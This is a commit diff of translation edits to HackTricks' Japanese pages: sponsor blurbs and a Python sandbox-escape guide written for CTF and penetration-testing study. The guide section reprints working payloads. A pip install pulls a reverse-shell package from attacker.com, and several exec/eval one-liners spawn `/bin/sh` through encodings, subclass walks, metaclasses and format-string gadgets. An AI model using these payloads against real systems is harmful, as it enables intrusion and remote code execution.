Translated ['README.md', 'generic-methodologies-and-resources/python/byp

This commit is contained in:
Translator 2024-11-09 13:57:59 +00:00
parent 7642bc2bf8
commit 8621b9dd7a
31 changed files with 504 additions and 504 deletions

View file

@ -32,7 +32,7 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com)は、**スペイン**で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの1つです。**技術的知識を促進することを使命**とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家のための熱い交流の場です。 [**RootedCON**](https://www.rootedcon.com)は、**スペイン**で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの1つです。**技術的知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家のための熱い交流の場です。
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
@ -44,7 +44,7 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
**Intigriti**は、**ヨーロッパの#1**の倫理的ハッキングおよび**バグバウンティプラットフォーム**です。 **Intigriti**は、**ヨーロッパの#1**の倫理的ハッキングおよび**バグバウンティプラットフォーム**です。
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加し、最大**$100,000**のバウンティを獲得し始めましょう! **バグバウンティのヒント****Intigriti**に**サインアップ**してください。ハッカーによって、ハッカーのために作られたプレミアム**バグバウンティプラットフォーム**です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)で参加し、最大**$100,000**の報酬を得始めましょう!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
@ -55,7 +55,7 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
<figure><img src=".gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築および自動化**します。 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフロー**を簡単に構築および**自動化**します。
今すぐアクセスを取得: 今すぐアクセスを取得:
@ -69,9 +69,9 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう! [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
* **ハッキングの洞察:** ハッキングのスリルと課題に深く掘り下げたコンテンツに参加 * **ハッキングの洞察**ハッキングのスリルと課題に深く掘り下げたコンテンツに参加
* **リアルタイムハックニュース:** リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界を把握 * **リアルタイムハックニュース**リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界を把握
* **最新の発表:** 新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得る * **最新の発表**新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得る
**私たちと一緒に** [**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加し、今日からトップハッカーとコラボレーションを始めましょう! **私たちと一緒に** [**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加し、今日からトップハッカーとコラボレーションを始めましょう!
@ -81,7 +81,7 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを評価 **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。
@ -96,13 +96,13 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
<figure><img src=".gitbook/assets/image (1254).png" alt=""><figcaption></figcaption></figure> <figure><img src=".gitbook/assets/image (1254).png" alt=""><figcaption></figcaption></figure>
**SerpApi**は、**検索エンジンの結果にアクセスするための迅速で簡単なリアルタイムAPI**を提供します。彼らは検索エンジンをスクレイピングし、プロキシを処理し、キャプチャを解決し、すべてのリッチ構造化データを解析します。 **SerpApi**は、**検索エンジンの結果**にアクセスするための迅速で簡単なリアルタイムAPIを提供します。彼らは検索エンジンをスクレイピングし、プロキシを処理し、キャプチャを解決し、すべてのリッチ構造化データを解析します。
SerpApiのプランのサブスクリプションには、Google、Bing、Baidu、Yahoo、Yandexなど、さまざまな検索エンジンをスクレイピングするための50以上の異なるAPIへのアクセスが含まれています。\ SerpApiのプランのサブスクリプションには、Google、Bing、Baidu、Yahoo、Yandexなど、さまざまな検索エンジンをスクレイピングするための50以上の異なるAPIへのアクセスが含まれています。\
他のプロバイダーとは異なり、**SerpApiはオーガニック結果だけをスクレイピングするわけではありません**。SerpApiの応答には、常にすべての広告、インライン画像と動画、ナレッジグラフ、検索結果に存在する他の要素や機能が含まれます。 他のプロバイダーとは異なり、**SerpApiはオーガニック結果だけをスクレイピングするわけではありません**。SerpApiの応答には、常にすべての広告、インライン画像と動画、ナレッジグラフ、検索結果に存在する他の要素や機能が含まれます。
現在のSerpApiの顧客には、**Apple、Shopify、GrubHub**が含まれています。\ 現在のSerpApiの顧客には、**Apple、Shopify、GrubHub**が含まれています。\
詳細については、彼らの[**ブログ**](https://serpapi.com/blog/)をチェックするか、[**プレイグラウンド**](https://serpapi.com/playground)で例を試してください。\ 詳細については、彼らの[**ブログ**](https://serpapi.com/blog/)をチェックするか、[**プレイグラウンド**](https://serpapi.com/playground)で例を試してみてください。\
**ここで無料アカウントを作成**できます[**こちら**](https://serpapi.com/users/sign\_up)**。** **ここで無料アカウントを作成**できます[**こちら**](https://serpapi.com/users/sign\_up)**。**
*** ***
@ -123,7 +123,7 @@ WebSecのもう一つの素晴らしい点は、業界の平均とは異なり
## License & Disclaimer ## License & Disclaimer
チェックしてください: 彼らを確認してください:
{% content-ref url="welcome/hacktricks-values-and-faq.md" %} {% content-ref url="welcome/hacktricks-values-and-faq.md" %}
[hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md) [hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md)
@ -142,8 +142,8 @@ GCPハッキングを学び、実践する<img src=".gitbook/assets/grte.png"
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私たちをフォローしてください 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -10,14 +10,14 @@ GCPハッキングを学び、実践する<img src="../../../.gitbook/assets/
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。** * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
@ -27,7 +27,7 @@ GCPハッキングを学び、実践する<img src="../../../.gitbook/assets/
## コマンド実行ライブラリ ## コマンド実行ライブラリ
最初に知っておくべきことは、すでにインポートされているライブラリを使用して直接コードを実行できるか、またはこれらのライブラリのいずれかをインポートできるかどうかです 最初に知っておくべきことは、すでにインポートされているライブラリを使用してコードを直接実行できるか、またはこれらのライブラリのいずれかをインポートできるかどうかです
```python ```python
os.system("ls") os.system("ls")
os.popen("ls").read() os.popen("ls").read()
@ -60,13 +60,13 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py') execfile('/usr/lib/python2.7/os.py')
system('ls') system('ls')
``` ```
覚えておいてください、_**open**_ と _**read**_ 関数は、python サンドボックス内の **ファイルを読み取る** ためや、**バイパス**するために **実行できるコードを書く** ために役立ちます。 覚えておいてください、_**open**_ と _**read**_ 関数は、python サンドボックス内の **ファイルを読み取る** ためや、**バイパス**するために **実行** できる **コードを書く** ために役立ちます。
{% hint style="danger" %} {% hint style="danger" %}
**Python2 input()** 関数は、プログラムがクラッシュする前に python コードを実行することを許可します。 **Python2 input()** 関数は、プログラムがクラッシュする前に python コードを実行することを許可します。
{% endhint %} {% endhint %}
Python は **最初に現在のディレクトリからライブラリを読み込もうとします**(次のコマンドは python がモジュールをどこから読み込んでいるかを表示します): `python3 -c 'import sys; print(sys.path)'` Python は **最初に現在のディレクトリからライブラリを読み込もうとします**(次のコマンドはpython がモジュールをどこから読み込んでいるかを表示します): `python3 -c 'import sys; print(sys.path)'`
![](<../../../.gitbook/assets/image (559).png>) ![](<../../../.gitbook/assets/image (559).png>)
@ -74,7 +74,7 @@ Python は **最初に現在のディレクトリからライブラリを読み
### デフォルトパッケージ ### デフォルトパッケージ
ここに **プリインストールされた** パッケージの **リスト**があります: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ ここに **事前インストールされた** パッケージの **リスト** があります: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
pickle から、python 環境がシステムにインストールされた **任意のライブラリをインポート** できることに注意してください。\ pickle から、python 環境がシステムにインストールされた **任意のライブラリをインポート** できることに注意してください。\
例えば、次の pickle は、読み込まれると pip ライブラリをインポートします: 例えば、次の pickle は、読み込まれると pip ライブラリをインポートします:
```python ```python
@ -105,7 +105,7 @@ pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
{% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %} {% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %}
{% hint style="info" %} {% hint style="info" %}
このパッケージは`Reverse`と呼ばれています。しかし、リバースシェルを終了すると、残りのインストールが失敗するように特別に作成されているため、**サーバーに余分なPythonパッケージがインストールされたままにならない**ようになっています このパッケージは`Reverse`と呼ばれています。ただし、リバースシェルを終了すると、残りのインストールが失敗するように特別に作成されているため、**サーバーに余分なPythonパッケージがインストールされたままにならない**ことに注意してください
{% endhint %} {% endhint %}
## PythonコードのEval ## PythonコードのEval
@ -114,7 +114,7 @@ pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
execは複数行の文字列と";"を許可しますが、evalは許可しませんワルラス演算子を確認してください execは複数行の文字列と";"を許可しますが、evalは許可しませんワルラス演算子を確認してください
{% endhint %} {% endhint %}
特定の文字が禁止されている場合は、**制限を回避するために** **hex/octal/B64** 表現を使用できます: 特定の文字が禁止されている場合は、**制限を回避するために** **hex/octal/B64**表現を使用できます:
```python ```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -158,7 +158,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})] [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";" ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
``` ```
## Bypassing protections through encodings (UTF-7) ## エンコーディングを通じた保護の回避 (UTF-7)
[**このレポート**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) では、UFT-7を使用して、見かけ上のサンドボックス内で任意のPythonコードをロードして実行します [**このレポート**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) では、UFT-7を使用して、見かけ上のサンドボックス内で任意のPythonコードをロードして実行します
```python ```python
@ -201,7 +201,7 @@ class _:pass
``` ```
### RCEオブジェクトの作成とオーバーロード ### RCEオブジェクトの作成とオーバーロード
クラスを**宣言**し、そのクラスの**オブジェクト**を**作成**できる場合、**直接呼び出すことなく**トリガーされる**異なるメソッド**を**書き換え/上書き**することができます。 クラスを**宣言**し、そのクラスの**オブジェクト**を**作成**できる場合、**異なるメソッド**を**書き換え/上書き**して、**直接呼び出すことなく**それらを**トリガー**することができます。
#### カスタムクラスによるRCE #### カスタムクラスによるRCE
@ -255,9 +255,9 @@ __iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")') __ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")') __ixor__ (k ^= 'import os; os.system("sh")')
``` ```
#### [メタクラス](https://docs.python.org/3/reference/datamodel.html#metaclasses)を使ってオブジェクトを作成する #### [メタクラス](https://docs.python.org/3/reference/datamodel.html#metaclasses)を使ったオブジェクトの作成
メタクラスが私たちに許可する重要なことは、**コンストラクタを直接呼び出すことなくクラスのインスタンスを作成する**ことであり、ターゲットクラスをメタクラスとして新しいクラスを作成することです。 メタクラスが私たちに許可する重要なことは、**コンストラクタを直接呼び出すことなくクラスのインスタンスを作成する**ことです。これは、ターゲットクラスをメタクラスとして新しいクラスを作成することによって実現されます。
```python ```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass" # This will define the members of the "subclass"
@ -274,7 +274,7 @@ Sub['import os; os.system("sh")']
``` ```
#### 例外を伴うオブジェクトの作成 #### 例外を伴うオブジェクトの作成
**例外がトリガーされる**と、**Exception**のオブジェクトが**作成され**、あなたがコンストラクタを直接呼び出す必要はありません([**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)からのトリック): **例外がトリガーされる**と、**Exception**のオブジェクトが**作成され**、コンストラクタを直接呼び出す必要はありません([**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)のトリック):
```python ```python
class RCE(Exception): class RCE(Exception):
def __init__(self): def __init__(self):
@ -340,7 +340,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
`__builtins__`がない場合、**すべてのグローバル関数**`open`、`import`、`print`など)が**ロードされていない**ため、何もインポートしたり、ファイルを読み書きしたりすることはできません。\ `__builtins__`がない場合、**すべてのグローバル関数**`open`、`import`、`print`など)が**ロードされていない**ため、何もインポートしたり、ファイルを読み書きしたりすることはできません。\
しかし、**デフォルトではPythonは多くのモジュールをメモリにインポートします**。これらのモジュールは無害に見えるかもしれませんが、その中には**危険な**機能を**インポートしている**ものもあり、それにアクセスすることで**任意のコード実行**を得ることができます。 しかし、**デフォルトではPythonは多くのモジュールをメモリにインポートします**。これらのモジュールは無害に見えるかもしれませんが、その中には**危険な**機能を**インポートしている**ものもあり、それにアクセスすることで**任意のコード実行**を得ることができます。
以下の例では、**無害な**モジュールのいくつかを**悪用**して、内部の**危険な****機能**に**アクセス**する方法を観察できます。 以下の例では、**無害な**モジュールのいくつかを**悪用**して、内部の**危険な**機能に**アクセス**する方法を観察できます。
**Python2** **Python2**
```python ```python
@ -382,7 +382,7 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes # Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"] [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
``` ```
[**以下により大きな関数があります**](./#recursive-search-of-builtins-globals) は、**builtins** を見つけることができる **場所** を数十/**数百** 見つけるためのものです。 [**以下により大きな関数があります**](./#recursive-search-of-builtins-globals) は、**builtins**を見つけることができる**場所**を数十/**数百**見つけるためのものです。
#### Python2 と Python3 #### Python2 と Python3
```python ```python
@ -561,7 +561,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
## ビルトイン、グローバルの再帰的検索... ## ビルトイン、グローバルの再帰的検索...
{% hint style="warning" %} {% hint style="warning" %}
これはただの**素晴らしい**ものです。もし**globals、builtins、open、またはその他のオブジェクトを探しているなら**、このスクリプトを使って**そのオブジェクトを見つけることができる場所を再帰的に見つけてください。** これはただの**素晴らしい**ものです。もし**globals、builtins、openなどのようなオブジェクトを探しているなら**、このスクリプトを使って**そのオブジェクトを見つけることができる場所を再帰的に見つけてください。**
{% endhint %} {% endhint %}
```python ```python
import os, sys # Import these to find more gadgets import os, sys # Import these to find more gadgets
@ -706,11 +706,11 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people) get_name_for_avatar(st, people_obj = people)
``` ```
注意してほしいのは、通常の方法で**属性**に**ドット**を使ってアクセスできることです。例えば`people_obj.__init__`、そして**辞書要素**には**括弧**を使って引用符なしでアクセスできることです。例:`__globals__[CONFIG]` 注意してほしいのは、通常の方法で **属性** **ドット** を使ってアクセスできることです。例えば `people_obj.__init__` と、**辞書要素** に **括弧** を使って引用符なしでアクセスできることです。例: `__globals__[CONFIG]`
また、`.__dict__`を使用してオブジェクトの要素を列挙できることにも注意してください。例`get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` また、`.__dict__` を使用してオブジェクトの要素を列挙できることにも注意してください。例: `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
フォーマット文字列の他の興味深い特徴は、指定されたオブジェクトで**`str`**、**`repr`**、および**`ascii`**の**関数**をそれぞれ**`!s`**、**`!r`**、**`!a`**を追加することで**実行**できる可能性です。 フォーマット文字列の他の興味深い特徴は、指定されたオブジェクトで **`str`**、**`repr`**、および **`ascii`** **関数** をそれぞれ **`!s`**、**`!r`**、**`!a`** を追加することで **実行** できる可能性です。
```python ```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people) get_name_for_avatar(st, people_obj = people)
@ -760,7 +760,7 @@ str(x) # Out: clueless
このような例は、[**呼び出しなしのPython実行**](./#python-execution-without-calls)のセクションにもっとあります。 このような例は、[**呼び出しなしのPython実行**](./#python-execution-without-calls)のセクションにもっとあります。
Pythonのフォーマット文字列の脆弱性では関数を実行することはできません括弧を使用することができないため)、したがって、`'{0.system("/bin/sh")}'.format(os)`のようにRCEを取得することは不可能です。\ Pythonのフォーマット文字列の脆弱性では関数を実行することはできません括弧を使用することはできません)、したがって、`'{0.system("/bin/sh")}'.format(os)`のようにRCEを取得することは不可能です。\
しかし、`[]`を使用することは可能です。したがって、一般的なPythonライブラリに**`__getitem__`**または**`__getattr__`**メソッドがあり、任意のコードを実行する場合、それらを悪用してRCEを取得することが可能です。 しかし、`[]`を使用することは可能です。したがって、一般的なPythonライブラリに**`__getitem__`**または**`__getattr__`**メソッドがあり、任意のコードを実行する場合、それらを悪用してRCEを取得することが可能です。
Pythonでそのようなガジェットを探すために、書き込みはこの[**Github検索クエリ**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code)を提案しています。そこで彼はこの[もの](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463)を見つけました: Pythonでそのようなガジェットを探すために、書き込みはこの[**Github検索クエリ**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code)を提案しています。そこで彼はこの[もの](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463)を見つけました:
@ -785,21 +785,21 @@ return getattr(self, name)
cdll = LibraryLoader(CDLL) cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL) pydll = LibraryLoader(PyDLL)
``` ```
このガジェットは**ディスクからライブラリをロードする**ことを可能にします。したがって、攻撃されたサーバーに正しくコンパイルされたライブラリを**書き込むかアップロードする**必要があります このガジェットは**ディスクからライブラリをロードする**ことを可能にします。したがって、攻撃されたサーバーに正しくコンパイルされた**ライブラリをどのようにして書き込むか、アップロードする必要があります**
```python ```python
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}' '{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
``` ```
The challenge actually abuses another vulnerability in the server that allows to create arbitrary files in the servers disk. The challenge actually abuses another vulnerability in the server that allows to create arbitrary files in the servers disk.
## Pythonオブジェクトの解析 ## Dissecting Python Objects
{% hint style="info" %} {% hint style="info" %}
もし**pythonバイトコード**について深く**学びたい**なら、この**素晴らしい**投稿を読んでください: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) If you want to **learn** about **python bytecode** in depth read this **awesome** post about the topic: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
{% endhint %} {% endhint %}
いくつかのCTFでは、**フラグ**が存在する**カスタム関数の名前**が提供され、その**関数**の**内部**を確認して抽出する必要があります。 In some CTFs you could be provided with the name of a **custom function where the flag** resides and you need to see the **internals** of the **function** to extract it.
これは検査する関数です: This is the function to inspect:
```python ```python
def get_flag(some_input): def get_flag(some_input):
var1=1 var1=1
@ -810,7 +810,7 @@ return "THIS-IS-THE-FALG!"
else: else:
return "Nope" return "Nope"
``` ```
#### ディレクトリ #### dir
```python ```python
dir() #General dir() to find what we have loaded dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x'] ['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
@ -944,7 +944,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
``` ```
## Pythonのコンパイル ## Pythonのコンパイル
さて、何らかの方法で**実行できない関数についての情報をダンプできる**と想像してみましょう。しかし、**実行する必要があります**。\ さて、何らかの方法で**実行できない関数についての情報をダンプできる**が、**実行する必要がある**と想像してみましょう。\
次の例のように、その関数の**コードオブジェクトにアクセスできる**が、ディスアセンブルを読むだけでは**フラグを計算する方法がわからない**_より複雑な`calc_flag`関数を想像してください_ 次の例のように、その関数の**コードオブジェクトにアクセスできる**が、ディスアセンブルを読むだけでは**フラグを計算する方法がわからない**_より複雑な`calc_flag`関数を想像してください_
```python ```python
def get_flag(some_input): def get_flag(some_input):
@ -991,7 +991,7 @@ types.CodeType.__doc__
### 漏洩した関数の再作成 ### 漏洩した関数の再作成
{% hint style="warning" %} {% hint style="warning" %}
次の例では、関数コードオブジェクトから関数を再作成するために必要なすべてのデータを取得します。**実際の例**では、関数を実行するために必要なすべての**値**が**漏洩させる必要があるもの**です。 次の例では、関数コードオブジェクトから関数を再作成するために必要なすべてのデータを取得します。**実際の例**では、関数を実行するためすべての**値**が**漏洩させる必要があるもの**です。
{% endhint %} {% endhint %}
```python ```python
fc = get_flag.__code__ fc = get_flag.__code__
@ -1005,7 +1005,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
``` ```
### Bypass Defenses ### Bypass Defenses
この投稿の最初の例では、**`compile`関数を使用して任意のpythonコードを実行する方法**を見ることができます。これは、**ループやすべてを含む全体のスクリプトを** **ワンライナー**で実行できるため興味深いです(そして、**`exec`**を使用して同じことができます)。\ この投稿の最初の例では、**`compile` 関数を使用して任意の Python コードを実行する方法**を見ることができます。これは、**ループやすべてを含む全体のスクリプトを** **ワンライナー**で実行できるため興味深いです(そして、**`exec`**を使用して同じことができます)。\
とにかく、時には**ローカルマシン**で**コンパイルされたオブジェクト**を**作成**し、**CTFマシン**で実行することが有用な場合があります例えば、CTFに`compiled`関数がないため)。 とにかく、時には**ローカルマシン**で**コンパイルされたオブジェクト**を**作成**し、**CTFマシン**で実行することが有用な場合があります例えば、CTFに`compiled`関数がないため)。
例えば、_./poc.py_を読み取る関数を手動でコンパイルして実行してみましょう 例えば、_./poc.py_を読み取る関数を手動でコンパイルして実行してみましょう
@ -1045,7 +1045,7 @@ f(42)
``` ```
## コンパイルされたPythonの逆コンパイル ## コンパイルされたPythonの逆コンパイル
[**https://www.decompiler.com/**](https://www.decompiler.com)のようなツールを使用すると、与えられたコンパイル済みのPythonコードを**逆コンパイル**できます。 [**https://www.decompiler.com/**](https://www.decompiler.com) のようなツールを使用すると、与えられたコンパイルされたPythonコードを**逆コンパイル**できます。
**このチュートリアルをチェックしてください**: **このチュートリアルをチェックしてください**:
@ -1057,7 +1057,7 @@ f(42)
### アサート ### アサート
`-O`パラメータで最適化されたPythonは、アサートステートメントと**debug**の値に基づくコードを削除します。\ `-O` パラメータで最適化されたPythonは、アサートと**debug**の値に基づくコードを削除します。\
したがって、次のようなチェックが したがって、次のようなチェックが
```python ```python
def check_permission(super_user): def check_permission(super_user):
@ -1080,7 +1080,7 @@ will be bypassed
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを評価 **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
